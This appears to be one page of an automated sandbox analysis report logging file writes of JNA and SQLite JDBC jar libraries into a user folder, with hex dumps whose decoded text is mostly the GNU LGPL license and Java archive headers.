7H.D.".8.5...mA.....L.c..F....
..!.lh..4.[H.0K...![.......Tq.
.1...G..@.?..\...P.."ao..S.:w.
}.}.t..EW....b.
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 20 61 6c 6c 20 69 74 
73 20 75 73 65 72 73 
2e 0a 0a 20 20 54 68 
69 73 20 6c 69 63 65 
6e 73 65 2c 20 74 68 
65 20 4c 65 73 73 65 
72 20 47 65 6e 65 72 
61 6c 20 50 75 62 6c 
69 63 20 4c 69 63 65 
6e 73 65 2c 20 61 70 
70 6c 69 65 73 20 74 
6f 20 73 6f 6d 65 0a 
73 70 65 63 69 61 6c 
6c 79 20 64 65 73 69 
67 6e 61 74 65 64 20 
73 6f 66 74 77 61 72 
65 20 70 61 63 6b 61 
67 65 73 2d 2d 74 79 
70 69 63 61 6c 6c 79 
20 6c 69 62 72 61 72 
69 65 73 2d 2d 6f 66 
20 74 68 65 0a 46 72 
65 65 20 53 6f 66 74 
77 61 72 65 20 46 6f 
75 6e 64 61 74 69 6f 
6e 20 61 6e 64 20 6f 
74 68 65 72 20 61 75 
74 68 6f 72 73 20 77 
68 6f 20 64 65 63 69 
64 65 20 74 6f 20 75 
73 65 20 69 74 2e 20 
20 59 6f 75 0a 63 61 
6e 20 75 73 65 20 69 
74 20 74 6f 6f 2c 20 
62 75 74 20 77 65 20 
73 75 67 67 65 73 74 
20 79 6f 

 all its users...  This licens
e, the Lesser General 
Public License, applies to 
some.specially designated 
software packages--
typically libraries--of th
e.Free Software 
Foundation and other 
authors who decide to use 
it.  You.can use it too, but 
we suggest yo

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 4e ee 8d 60 9e 6b 87 
5a 14 90 e6 8f 54 43 
77 aa 79 cd 5e 92 cf 
12 3b ac 6b 88 ac c0 
0e e6 d3 65 c1 4b bb 
11 35 6f 63 2c 94 6e 
4d 24 e1 2f f6 68 aa 
b1 71 83 69 ac c6 a1 
ca c1 ba b7 84 5d f3 
dd 74 da b6 37 37 d6 
00 70 e4 74 9f 7b 73 
c9 b4 e4 62 7c e5 bf 
ef 14 f1 b6 65 5d 94 
16 8b b8 a3 2f 3c 8d 
9b b2 8b 48 9d e7 92 
54 a4 33 fd b2 26 73 
69 39 ef c2 b7 67 19 
37 2e 0e 03 55 d2 d6 
35 c2 f0 6f 12 fb 0a fd 
d8 52 f0 ba e9 82 3e 
62 0e d4 d6 e6 09 da 
2b 0b fe de 55 e8 97 
c7 ec 5d 0b 79 44 7e 
24 9a 79 11 3b e1 94 
1f cf ba 4f 99 7e 41 c5 
cb 55 da 95 42 d5 79 
00 c7 f7 96 50 ba c0 
0d 0c 66 cc 2a 54 55 
67 11 93 df 84 86 43 
71 d9 c5 fc 20 2f 15 
cb cf 32 c8 6c dd ee 
35 75 42 25 61 13 6a 
e5 d6 6a 63 04 9d a4 
fc 0e 6c 5d 61 4e 1f 
19 0a 39 17 89 6e 2c 
ca 4c 1e 3f 0c 49 eb 
92 

N..`.k.Z....TCw.y.^...;.k.....
.e.K..5oc,.nM$./.h..q.i.......
.]..t..77..p.t.{s...b|......e]
...../<....H...T.3..&si9...g.7
...U..5..o.....R....>b......+.
..U....].yD~$.y.;.....O.~A..U.
.B.y....P....f.*TUg.....Cq... 
/...2.l..5uB%a.j..jc.....l]aN.
..9..n,.L.?.I..
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 2f 6a 64 62 63 33 2f 
50 4b 03 04 0a 00 00 
00 00 00 38 66 3e 49 
00 00 00 00 00 00 00 
00 00 00 00 00 11 00 
00 00 6f 72 67 2f 73 
71 6c 69 74 65 2f 6a 
64 62 63 34 2f 50 4b 
03 04 0a 00 00 00 00 
00 57 65 3e 49 00 00 
00 00 00 00 00 00 00 
00 00 00 12 00 00 00 
6f 72 67 2f 73 71 6c 
69 74 65 2f 6e 61 74 
69 76 65 2f 50 4b 03 
04 0a 00 00 00 00 00 
57 65 3e 49 00 00 00 
00 00 00 00 00 00 00 
00 00 1a 00 00 00 6f 
72 67 2f 73 71 6c 69 
74 65 2f 6e 61 74 69 
76 65 2f 46 72 65 65 
42 53 44 2f 50 4b 03 
04 0a 00 00 00 00 00 
57 65 3e 49 00 00 00 
00 00 00 00 00 00 00 
00 00 21 00 00 00 6f 
72 67 2f 73 71 6c 69 
74 65 2f 6e 61 74 69 
76 65 2f 46 72 65 65 
42 53 44 2f 78 38 36 
5f 36 34 2f 50 4b 03 
04 0a 00 00 00 00 00 
57 65 3e 49 00 00 00 
00 00 00 00 00 00 00 
00 00 18 00 00 00 6f 
72 67 2f 

/jdbc3/PK........8f>I.........
.......org/sqlite/jdbc4/PK....
....We>I................org/sq
lite/native/PK........We>I....
............org/sqlite/native/
FreeBSD/PK........We>I......
..
....!...org/sqlite/native/Free
BSD/x86_64/PK........We>I
................org/

success or wait 2209 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 20 74 68 65 20 62 65 
74 74 65 72 0a 73 74 
72 61 74 65 67 79 20 
74 6f 20 75 73 65 20 
69 6e 20 61 6e 79 20 
70 61 72 74 69 63 75 
6c 61 72 20 63 61 73 
65 2c 20 62 61 73 65 
64 20 6f 6e 20 74 68 
65 20 65 78 70 6c 61 
6e 61 74 69 6f 6e 73 
20 62 65 6c 6f 77 2e 
0a 0a 20 20 57 68 65 
6e 20 77 65 20 73 70 
65 61 6b 20 6f 66 20 
66 72 65 65 20 73 6f 
66 74 77 61 72 65 2c 
20 77 65 20 61 72 65 
20 72 65 66 65 72 72 
69 6e 67 20 74 6f 20 
66 72 65 65 64 6f 6d 
20 6f 66 20 75 73 65 
2c 0a 6e 6f 74 20 70 
72 69 63 65 2e 20 20 
4f 75 72 20 47 65 6e 
65 72 61 6c 20 50 75 
62 6c 69 63 20 4c 69 
63 65 6e 73 65 73 20 
61 72 65 20 64 65 73 
69 67 6e 65 64 20 74 
6f 20 6d 61 6b 65 20 
73 75 72 65 20 74 68 
61 74 0a 79 6f 75 20 
68 61 76 65 20 74 68 
65 20 66 72 65 65 64 
6f 6d 20 74 6f 20 64 
69 73 74 

 the better.strategy to use 
in any particular case, 
based on the explanations 
below...  When we speak 
of free software, we are 
referring to freedom of 
use,.not price.  Our 
General Public Licenses 
are designed to make sure 
that.you have the freedom 
to dist
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6e 6b 20 6f 74 68 65 
72 20 63 6f 64 65 20 
77 69 74 68 20 74 68 
65 20 6c 69 62 72 61 
72 79 2c 20 79 6f 75 
20 6d 75 73 74 20 70 
72 6f 76 69 64 65 0a 
63 6f 6d 70 6c 65 74 
65 20 6f 62 6a 65 63 
74 20 66 69 6c 65 73 
20 74 6f 20 74 68 65 
20 72 65 63 69 70 69 
65 6e 74 73 2c 20 73 
6f 20 74 68 61 74 20 
74 68 65 79 20 63 61 
6e 20 72 65 6c 69 6e 
6b 20 74 68 65 6d 0a 
77 69 74 68 20 74 68 
65 20 6c 69 62 72 61 
72 79 20 61 66 74 65 
72 20 6d 61 6b 69 6e 
67 20 63 68 61 6e 67 
65 73 20 74 6f 20 74 
68 65 20 6c 69 62 72 
61 72 79 20 61 6e 64 
20 72 65 63 6f 6d 70 
69 6c 69 6e 67 0a 69 
74 2e 20 20 41 6e 64 
20 79 6f 75 20 6d 75 
73 74 20 73 68 6f 77 
20 74 68 65 6d 20 74 
68 65 73 65 20 74 65 
72 6d 73 20 73 6f 20 
74 68 65 79 20 6b 6e 
6f 77 20 74 68 65 69 
72 20 72 69 67 68 74 
73 2e 0a 

nk other code with the 
library, you must 
provide.complete object 
files to the recipients, so 
that they can relink them.w
ith the library after making 
changes to the library and 
recompiling.it.  And you 
must show them these 
terms so they know their 
rights..

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 24 86 ee fd bf 2b 31 
18 51 4b 58 9f de 8b 
db f8 bf b1 16 ac d8 
c8 5e ae 14 59 91 4e 
76 63 bd 0e a2 55 62 
b7 56 ac 01 b8 01 1f 
2c 79 f3 89 76 76 9a 
1c 0b db 9c 69 c8 c2 
56 72 6b bd a5 ad 5a 
dd 42 a5 5b 65 6b da 
fb ec 9b 17 7f 38 e7 f3 
0c 54 e4 b5 9f 76 1a 
07 37 40 f7 64 09 18 
cb 2a 17 b7 c4 9e 4b 
d5 43 11 b5 86 41 27 
db 17 92 96 a6 ff d9 
8c 33 71 86 d5 f4 2f 
3b 3b 2f ad 8f ff 48 31 
0f ba 19 69 37 2b 4a 
3f 89 3b a8 47 48 ac 
1d c9 02 d9 37 da 39 
76 7f 76 39 1f 12 6c 
9d 13 5e 77 87 03 6b 
c4 24 e2 6d 73 e8 74 
5b ab 5a 65 2d 36 e0 
bf b6 ac f8 0f 74 c8 c6 
34 1a f7 93 1c 65 c9 
d2 ba af bb 91 15 82 
a8 14 bd 19 44 a7 37 
9a 04 80 41 9d 69 87 
1d 79 9a e3 13 61 9c 
06 46 88 c1 c8 3b c5 
7d fc 1b 55 84 84 56 
af 46 cb 2f c0 3c 9d 
9a 60 ca cd f2 5f f0 8a 
63 f1 65 bf f7 cf 

$....+1.QKX...........^..Y.Nvc
...Ub.V.....,y..vv.....i..Vrk.
..Z.B.[ek......8...T...v..7@.d
...*....K.C...A'........3q.../
;;/...H1...i7+J?.;.GH.....7.9v
.v9..l..^w..k.$.ms.t[.Ze-6....
..t..4....e............D.7...A
.i..y...a..F...;.}..U..V.F./.<
..`..._..c.e...
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 66 66 65 72 20 79 6f 
75 20 74 68 69 73 20 
6c 69 63 65 6e 73 65 
2c 20 77 68 69 63 68 
20 67 69 76 65 73 20 
79 6f 75 20 6c 65 67 
61 6c 0a 70 65 72 6d 
69 73 73 69 6f 6e 20 
74 6f 20 63 6f 70 79 
2c 20 64 69 73 74 72 
69 62 75 74 65 20 61 
6e 64 2f 6f 72 20 6d 6f 
64 69 66 79 20 74 68 
65 20 6c 69 62 72 61 
72 79 2e 0a 0a 20 20 
54 6f 20 70 72 6f 74 
65 63 74 20 65 61 63 
68 20 64 69 73 74 72 
69 62 75 74 6f 72 2c 
20 77 65 20 77 61 6e 
74 20 74 6f 20 6d 61 
6b 65 20 69 74 20 76 
65 72 79 20 63 6c 65 
61 72 20 74 68 61 74 
0a 74 68 65 72 65 20 
69 73 20 6e 6f 20 77 
61 72 72 61 6e 74 79 
20 66 6f 72 20 74 68 
65 20 66 72 65 65 20 
6c 69 62 72 61 72 79 
2e 20 20 41 6c 73 6f 
2c 20 69 66 20 74 68 
65 20 6c 69 62 72 61 
72 79 20 69 73 0a 6d 
6f 64 69 66 69 65 64 
20 62 79 20 73 6f 6d 
65 6f 

ffer you this license, which 
gives you legal.permission 
to copy, distribute and/or 
modify the library...  To 
protect each distributor, we 
want to make it very clear 
that.there is no warranty 
for the free library.  Also, if 
the library is.modified by 
someo

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 6c 69 65 73 20 74 6f 
20 63 65 72 74 61 69 
6e 20 64 65 73 69 67 
6e 61 74 65 64 20 6c 
69 62 72 61 72 69 65 
73 2c 20 61 6e 64 0a 
69 73 20 71 75 69 74 
65 20 64 69 66 66 65 
72 65 6e 74 20 66 72 
6f 6d 20 74 68 65 20 
6f 72 64 69 6e 61 72 
79 20 47 65 6e 65 72 
61 6c 20 50 75 62 6c 
69 63 20 4c 69 63 65 
6e 73 65 2e 20 20 57 
65 20 75 73 65 0a 74 
68 69 73 20 6c 69 63 
65 6e 73 65 20 66 6f 
72 20 63 65 72 74 61 
69 6e 20 6c 69 62 72 
61 72 69 65 73 20 69 
6e 20 6f 72 64 65 72 
20 74 6f 20 70 65 72 
6d 69 74 20 6c 69 6e 
6b 69 6e 67 20 74 68 
6f 73 65 0a 6c 69 62 
72 61 72 69 65 73 20 
69 6e 74 6f 20 6e 6f 
6e 2d 66 72 65 65 20 
70 72 6f 67 72 61 6d 
73 2e 0a 0a 20 20 57 
68 65 6e 20 61 20 70 
72 6f 67 72 61 6d 20 
69 73 20 6c 69 6e 6b 
65 64 20 77 69 74 68 
20 61 20 6c 69 62 72 
61 72 79 

lies to certain designated 
libraries, and.is quite 
different from the ordinary 
General Public License.  
We use.this license for 
certain libraries in order to 
permit linking those.l
ibraries into non-free 
programs...  When a 
program is linked with a 
library
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C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 1024 9e c8 ef 72 48 e8 3e 
5e 25 07 84 57 60 b8 
db 46 36 40 97 07 a9 
3b b9 ec 22 26 14 70 
55 11 ce 92 37 d6 32 
b8 95 cc 58 11 51 0f 
ba c0 db 09 f6 bc be 
f0 b6 66 e5 ca 61 a0 
ec c3 6a 8a f2 c6 3d 
ce 70 07 f5 28 37 5b 
9c 8d 95 c0 7d 78 bd 
5f 49 af 5e 6e b7 0a 
67 3f 22 ba 3a b3 3b 
2f 55 71 a5 ac 7e 80 
36 1f 94 20 ad b8 d9 
a1 2f d0 31 a7 15 11 
34 10 b7 f2 8a 88 c2 
2f a5 23 2b f6 1c 9c 
0d 1d 42 c1 00 47 f2 
10 46 67 b1 d9 28 34 
76 6b 5d af 4b 84 80 
d5 06 64 08 04 ab 55 
0f 9a 6d 4a 3e 0d fd 
84 b8 11 0a 7a 36 36 
fe 86 3d 82 bd cb e8 
8a bb 51 1e 54 0e 4e 
c3 46 90 38 ce 74 1c 
23 58 a7 57 ba c7 31 
c7 b6 3f 46 ea 04 5f 
ed 04 12 2a 71 a8 c2 
a0 41 f2 ec 60 42 de 
3f 64 14 ab 36 52 e7 
80 55 5b 69 d9 65 48 
37 7c 93 8d b2 aa db 
23 28 fa 0f ac bc 25 
dc 86 1c a6 97 1b 75 
1e 8d af 

...rH.>^%..W`..F6@...;.."&.
pU...7.2...X.Q..........f..a...j.
..=.p..(7[....}x._I.^n..g?".:.
;/Uq..~.6.. ..../.1...4....../
.#+.....B..G..Fg..(4vk].K....d
...U..mJ>......z66..=......Q.T
.N.F.8.t.#X.W..1..?
F.._...*q...A..`B.?
d..6R..U[i.eH7|.....#(
....%......u...

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 1024 4d 19 85 d4 c1 9a f3 
50 09 0d 19 5b bd 46 
5b 34 be c1 0d b2 a6 
b9 43 28 8f e4 1d a6 
e3 78 cf 86 b9 17 d2 
61 7a 12 1b 69 78 f7 
42 2b 7d 78 f7 23 6a 
9a 51 11 9f 74 b8 fe 
17 50 4b 03 04 0a 00 
00 08 08 00 8c 8c 5e 
4f f2 01 46 51 45 01 
00 00 2b 02 00 00 27 
00 00 00 63 6f 6d 2f 
73 75 6e 2f 6a 6e 61 
2f 43 61 6c 6c 62 61 
63 6b 52 65 73 75 6c 
74 43 6f 6e 74 65 78 
74 2e 63 6c 61 73 73 
85 50 4d 4f c2 40 14 
9c 2d 85 4a ad a0 a8 
68 f0 b3 f1 02 98 d8 
c4 ab c6 0b 09 a7 c2 
41 09 f7 a5 ac 50 2c 
6d 52 b6 c4 9f a5 89 
c6 c4 83 3f c0 1f 65 7c 
5d 2a f1 e0 47 36 bb 
99 99 37 6f de cb be 
7f bc be 01 38 c7 ae 
09 1d 9b 45 e4 b0 65 
60 db 40 95 a1 30 15 
72 1c 0d 19 6a ee 84 
cf b9 13 f0 70 e4 c4 
e2 36 10 9e 74 3a aa 
76 41 ae 4b 3f f4 e5 
15 c3 41 fd 77 5b a3 
cf a0 b7 a2 a1 60 28 
bb 7e 

M......P...[.F[4......C(.....x
.....az..ix.B+}x.#j.Q..t...PK.
.........^O..FQE...+...'...com
/sun/jna/CallbackResultCo
ntext.class.PMO.@..-
.J...h.........
....A....P,mR........?..e|]*..
G6...7o.......8.....E..e`.@..0
.r...j......p...6..t:.vA.K?...
.A.w[......`(.~
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6e 67 20 61 0a 63 6f 
6d 62 69 6e 65 64 20 
77 6f 72 6b 2c 20 61 
20 64 65 72 69 76 61 
74 69 76 65 20 6f 66 
20 74 68 65 20 6f 72 
69 67 69 6e 61 6c 20 
6c 69 62 72 61 72 79 
2e 20 20 54 68 65 20 
6f 72 64 69 6e 61 72 
79 0a 47 65 6e 65 72 
61 6c 20 50 75 62 6c 
69 63 20 4c 69 63 65 
6e 73 65 20 74 68 65 
72 65 66 6f 72 65 20 
70 65 72 6d 69 74 73 
20 73 75 63 68 20 6c 
69 6e 6b 69 6e 67 20 
6f 6e 6c 79 20 69 66 
20 74 68 65 0a 65 6e 
74 69 72 65 20 63 6f 
6d 62 69 6e 61 74 69 
6f 6e 20 66 69 74 73 
20 69 74 73 20 63 72 
69 74 65 72 69 61 20 
6f 66 20 66 72 65 65 
64 6f 6d 2e 20 20 54 
68 65 20 4c 65 73 73 
65 72 20 47 65 6e 65 
72 61 6c 0a 50 75 62 
6c 69 63 20 4c 69 63 
65 6e 73 65 20 70 65 
72 6d 69 74 73 20 6d 
6f 72 65 20 6c 61 78 
20 63 72 69 74 65 72 
69 61 20 66 6f 72 20 
6c 69 6e 

ng a.combined work, a 
derivative of the original 
library.  The 
ordinary.General Public Lic
ense therefore permits 
such linking only if 
the.entire combination fits 
its criteria of freedom.  The 
Lesser General.Public 
License permits more lax c
riteria for lin

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 c7 9b 45 ab 6c 98 d3 
62 1f cf d7 a6 2e 99 
68 55 2c 65 43 d4 c4 
d2 24 c7 5b 48 87 91 
79 f9 ac 41 f1 4a 36 
4c 3e 23 5d a4 75 0d 
9e 46 2f 4c 2a c6 76 
54 62 36 11 1a be be 
10 b7 aa 6c 34 5d f0 
e9 1b b9 cf 68 77 08 
4c c0 46 1d f9 cf 14 
a2 9e 60 83 6c 19 e2 
97 38 6d 04 f0 b1 43 
11 eb c1 ff 9b 9c b1 
a7 75 b7 cf f1 1f 41 b7 
2a d7 4f ac 95 c2 c9 
36 4a 79 73 b7 a6 43 
25 e5 09 40 84 b3 97 
39 0f 9f c9 73 7f dd 11 
5e b7 22 99 49 44 5f 
a3 c0 c0 1a f7 24 20 
2b 79 72 2e 2c e9 e7 
e8 b6 92 33 c7 61 f1 
f1 9d 4f b3 e9 d8 65 
71 ac ef 03 65 ea 4d 
f5 17 35 01 7c 8f c8 
92 3b a1 e4 d0 3d f9 
8c af 3c 5d 29 01 01 
5f f2 70 da 94 ca ff 15 
eb 44 f9 8d 0e 0f af 8b 
c3 ad 1a 10 72 55 24 
da 45 1f 80 2b 0a 08 
75 78 c3 f2 ec 74 66 
76 8e 8a 62 2e 67 cf 
2a 78 7b 45 70 d9 28 
62 58 55 49 39 d8 

..E.l..b......hU,eC...$.[H..y.

.A.J6L>#].u..F/L*.vTb6.......
l4].....hw.L.F......`.l...8m...
C........u....A.*.O....6Jys..C
%..@...9...s...^.".ID_.....$ +
yr.,.....3.a...O...eq...e.M..5
.|...;...=...<]).._.p......D..
........rU$.E..+..ux...tfv..b.
g.*x{Ep.(bXUI9.
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 20 61 73 20 77 69 64 
65 6c 79 20 75 73 65 
64 20 6e 6f 6e 2d 66 
72 65 65 20 6c 69 62 
72 61 72 69 65 73 2e 
20 20 49 6e 20 74 68 
69 73 0a 63 61 73 65 
2c 20 74 68 65 72 65 
20 69 73 20 6c 69 74 
74 6c 65 20 74 6f 20 
67 61 69 6e 20 62 79 
20 6c 69 6d 69 74 69 
6e 67 20 74 68 65 20 
66 72 65 65 20 6c 69 
62 72 61 72 79 20 74 
6f 20 66 72 65 65 0a 
73 6f 66 74 77 61 72 
65 20 6f 6e 6c 79 2c 
20 73 6f 20 77 65 20 
75 73 65 20 74 68 65 
20 4c 65 73 73 65 72 
20 47 65 6e 65 72 61 
6c 20 50 75 62 6c 69 
63 20 4c 69 63 65 6e 
73 65 2e 0a 0a 20 20 
49 6e 20 6f 74 68 65 
72 20 63 61 73 65 73 
2c 20 70 65 72 6d 69 
73 73 69 6f 6e 20 74 
6f 20 75 73 65 20 61 
20 70 61 72 74 69 63 
75 6c 61 72 20 6c 69 
62 72 61 72 79 20 69 
6e 20 6e 6f 6e 2d 66 
72 65 65 0a 70 72 6f 
67 72 61 6d 73 20 65 
6e 61 62 

 as widely used non-free 
libraries.  In this.case, 
there is little to gain by 
limiting the free library to 
free.software only, so we 
use the Lesser General 
Public License...  In other 
cases, permission to use a 
particular library in non-fre
e.programs enab

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\sqlite-jdbc-3.14.2.1.jard unknown 347 88 2e b0 60 3f b2 20 
9a e3 3b c6 34 04 0c 
bb 46 e0 a6 36 1e 24 
a7 86 b8 f5 93 7b ca 
f2 39 97 d3 d8 fa b0 
50 66 95 8e 09 75 46 
ff 44 f7 c1 a4 05 d8 4e 
fa 0e 67 4f 0e e6 a3 
5c 74 f3 ce 78 d7 5d 
19 d3 ec 74 37 e9 48 
7e 40 ce 36 db ad a4 
de 23 b1 86 91 64 6f 
a5 ee 46 eb 13 95 ec 
da b1 cf 04 88 13 e4 
a9 6f 53 68 d8 40 7e 
5c ea c4 1f ad 1c 1c 
88 1c 92 08 fd 61 6f 2f 
6e 92 1a f6 b2 79 d0 
3c 9e 6d c3 f7 24 88 
86 a0 88 f8 a9 45 d8 
3f 46 c3 b7 17 e2 b2 
a6 64 41 aa 88 78 4c 
87 5f e6 44 5e 04 c8 
fb 35 71 fd 69 f4 1e 0d 
29 9f 1c f1 45 c2 5a af 
8d f1 fd 55 6e a1 4e 
47 fe dc cf 05 c1 6b 
15 23 0c e0 8f 65 94 
7d ad fc 45 b6 be c1 
1a 10 71 cf 1e a8 36 
3d 7d ee 52 f4 d8 bc 
72 bb 28 be 30 cb 2e 
b4 b5 98 db 3c 27 20 
22 9a ec e7 3a b8 12 
c5 4e 28 cb 74 82 d5 
54 94 fc 68 76 54 

...`?. ..;.4...F..6.$.....{..9

.....Pf...uF.D.....N..gO...\t.

.x.]...t7.H~@.6....#...do..F..

..........oSh.@~\...........ao
/n....y.<.m..$......E.?F......
dA..xL._.D^...5q.i...)...E.Z..
..Un.NG.....k.#...e.}..E.....q
...6=}.R...r.(.0......<' "...:
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success or wait 1 6DD59FBC WriteFile

File Path Offset Length Value Ascii Completion Count
Source
Address Symbol

Copyright null 2021 Page 215 of 706



C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 6e 20 74 6f 20 75 73 
65 20 74 68 65 20 47 
4e 55 20 43 20 4c 69 
62 72 61 72 79 20 69 
6e 0a 6e 6f 6e 2d 66 
72 65 65 20 70 72 6f 
67 72 61 6d 73 20 65 
6e 61 62 6c 65 73 20 
6d 61 6e 79 20 6d 6f 
72 65 20 70 65 6f 70 
6c 65 20 74 6f 20 75 
73 65 20 74 68 65 20 
77 68 6f 6c 65 20 47 
4e 55 0a 6f 70 65 72 
61 74 69 6e 67 20 73 
79 73 74 65 6d 2c 20 
61 73 20 77 65 6c 6c 
20 61 73 20 69 74 73 
20 76 61 72 69 61 6e 
74 2c 20 74 68 65 20 
47 4e 55 2f 4c 69 6e 
75 78 20 6f 70 65 72 
61 74 69 6e 67 0a 73 
79 73 74 65 6d 2e 0a 
0a 20 20 41 6c 74 68 
6f 75 67 68 20 74 68 
65 20 4c 65 73 73 65 
72 20 47 65 6e 65 72 
61 6c 20 50 75 62 6c 
69 63 20 4c 69 63 65 
6e 73 65 20 69 73 20 
4c 65 73 73 20 70 72 
6f 74 65 63 74 69 76 
65 20 6f 66 20 74 68 
65 0a 75 73 65 72 73 
27 20 66 72 65 65 64 
6f 6d 2c 

n to use the GNU C Library 
in.non-free programs 
enables many more people 
to use the whole 
GNU.operating system, as 
well as its variant, the 
GNU/Linux 
operating.system...  
Although the Lesser 
General Public License is 
Less protective of the.
users' freedom,

success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-platform-5.5.0.jard unknown 347 20 6d 61 79 20 62 65 
20 64 69 73 74 72 69 
62 75 74 65 64 20 75 
6e 64 65 72 20 74 68 
65 20 74 65 72 6d 73 
20 6f 66 0a 74 68 69 
73 20 4c 65 73 73 65 
72 20 47 65 6e 65 72 
61 6c 20 50 75 62 6c 
69 63 20 4c 69 63 65 
6e 73 65 20 28 61 6c 
73 6f 20 63 61 6c 6c 
65 64 20 22 74 68 69 
73 20 4c 69 63 65 6e 
73 65 22 29 2e 0a 45 
61 63 68 20 6c 69 63 
65 6e 73 65 65 20 69 
73 20 61 64 64 72 65 
73 73 65 64 20 61 73 
20 22 79 6f 75 22 2e 
0a 0a 20 20 41 20 22 
6c 69 62 72 61 72 79 
22 20 6d 65 61 6e 73 
20 61 20 63 6f 6c 6c 
65 63 74 69 6f 6e 20 
6f 66 20 73 6f 66 74 
77 61 72 65 20 66 75 
6e 63 74 69 6f 6e 73 
20 61 6e 64 2f 6f 72 
20 64 61 74 61 0a 70 
72 65 70 61 72 65 64 
20 73 6f 20 61 73 20 
74 6f 20 62 65 20 63 
6f 6e 76 65 6e 69 65 
6e 74 6c 79 20 6c 69 
6e 6b 65 64 20 77 69 
74 68 20 

 may be distributed under 
the terms of.this Lesser 
General Public License 
(also called "this 
License")..Each licensee is 
addressed as "you"...  A 
"library" means a 
collection of software 
functions and/or data.p
repared so as to be 
conveniently linked with 
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C:\Users\user\lib\jna-5.5.0.jard unknown 1024 a9 c4 ea 6d ac 41 60 
0d 02 ab 27 d6 68 63 
0b 04 b6 40 60 8d c4 
02 36 b6 50 60 0b 05 
16 20 16 b4 b1 45 02 
5b 24 b0 e0 8c 34 43 
96 3e db c3 cb 0c 25 
10 e5 6b b9 9d 2f e4 
dd 58 c0 6a 0a 62 0f 
96 b2 5c 5e c2 3e 86 
79 3f 9a d0 c9 90 1e 
a0 fc 41 ec 44 17 25 
0f 11 3d cc 55 37 c3 
f9 2a 8e e3 08 4e 22 
86 d3 fc a6 a1 07 83 
38 86 51 a2 06 5e 43 
06 af 63 0a bd 38 8f 
3e 5c c4 09 5c a5 e4 
0d 9c 62 45 be 81 6f 
d1 8f ef 78 ea 7b bc 
65 47 36 e4 44 2f 1b 
59 b1 da 41 7b 12 76 
e5 a2 2e 90 28 57 ed 
5c 07 d0 e8 57 8a ff 
b2 57 be 9b 12 ec 09 
ce ad e0 67 54 d1 57 
a0 35 7c 1f be 47 08 
f5 47 36 cc e2 85 87 
58 5c 81 53 e1 c8 2c 
96 f4 34 ff 81 d0 d3 cd 
e6 fc e6 bd 5c 90 42 
54 01 0c 61 21 86 b1 
04 23 58 8e 04 f3 69 
cc 26 1d 76 94 e7 48 
b7 66 49 8b d5 5e 06 
b0 82 27 16 33 5c 3b 
99 4a 

...m.A`...'.hc...@`...6.P`... 

...E.[$...4C.>....%..k../..X.j
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\..\....bE..o...x.{.eG6.D/.Y..
A{.v....(W.\...W...W........gT
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success or wait 1 6DD59FBC WriteFile

C:\Users\user\lib\jna-5.5.0.jard unknown 347 67 b9 82 fa cf ca 22 8f 
81 69 d2 33 84 de 21 
49 16 f0 e4 0b d8 e9 
b7 ec 27 24 3e aa 2f 
f9 19 9a b6 f7 1e da 
cb 18 a6 08 4e 9d 41 
9d 60 2a 86 1f a8 3c 
83 79 7a 2a 53 28 e0 
0e ee 91 5e a5 97 f5 
98 74 12 b3 44 9c 52 
f4 89 25 e4 c8 4e 90 
5c 8d 25 f5 5a c7 1c 
da bf 0f 4a be 16 27 
cc 63 81 b4 86 45 3a 
57 48 4a 14 49 93 46 
2e 4d f4 8b b8 4b 28 
af 2e da 2e fe 04 50 
4b 03 04 0a 00 00 08 
08 00 8c 8c 5e 4f 6e 
a3 01 ff 78 02 00 00 
62 05 00 00 41 00 00 
00 63 6f 6d 2f 73 75 
6e 2f 6a 6e 61 2f 45 
4c 46 41 6e 61 6c 79 
73 65 72 24 41 72 6d 
41 65 61 62 69 41 74 
74 72 69 62 75 74 65 
73 54 61 67 24 50 61 
72 61 6d 65 74 65 72 
54 79 70 65 2e 63 6c 
61 73 73 a5 53 6b 4f 
1a 51 10 3d 57 16 16 
d6 45 2d 15 7c 54 fb 
b0 b4 82 56 11 d4 be 
b0 06 34 98 98 6c a4 
0d 68 62 5a 3f 5c e8 
96 ae 

g....."..i.3..!I........'$>./.
..........N.A.`*...<.yz*S(....
^....t..D.R..%..N.\.%.Z.....J.
.'.c...E:WHJ.I.F.M...K(......P
K..........^On...x...b...A...c
om/sun/jna/ELFAnalyser$
ArmAeab
iAttributesTag$ParameterT
ype.class.SkO.Q.=W...E-
.|T....V.....4..l..hbZ?\...
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C:\Users\user\lib\jna-platform-5.5.0.jard unknown 1024 65 20 22 4c 69 62 72 
61 72 79 22 2c 20 62 
65 6c 6f 77 2c 20 72 
65 66 65 72 73 20 74 
6f 20 61 6e 79 20 73 
75 63 68 20 73 6f 66 
74 77 61 72 65 20 6c 
69 62 72 61 72 79 20 
6f 72 20 77 6f 72 6b 
0a 77 68 69 63 68 20 
68 61 73 20 62 65 65 
6e 20 64 69 73 74 72 
69 62 75 74 65 64 20 
75 6e 64 65 72 20 74 
68 65 73 65 20 74 65 
72 6d 73 2e 20 20 41 
20 22 77 6f 72 6b 20 
62 61 73 65 64 20 6f 
6e 20 74 68 65 0a 4c 
69 62 72 61 72 79 22 
20 6d 65 61 6e 73 20 
65 69 74 68 65 72 20 
74 68 65 20 4c 69 62 
72 61 72 79 20 6f 72 
20 61 6e 79 20 64 65 
72 69 76 61 74 69 76 
65 20 77 6f 72 6b 20 
75 6e 64 65 72 0a 63 
6f 70 79 72 69 67 68 
74 20 6c 61 77 3a 20 
74 68 61 74 20 69 73 
20 74 6f 20 73 61 79 
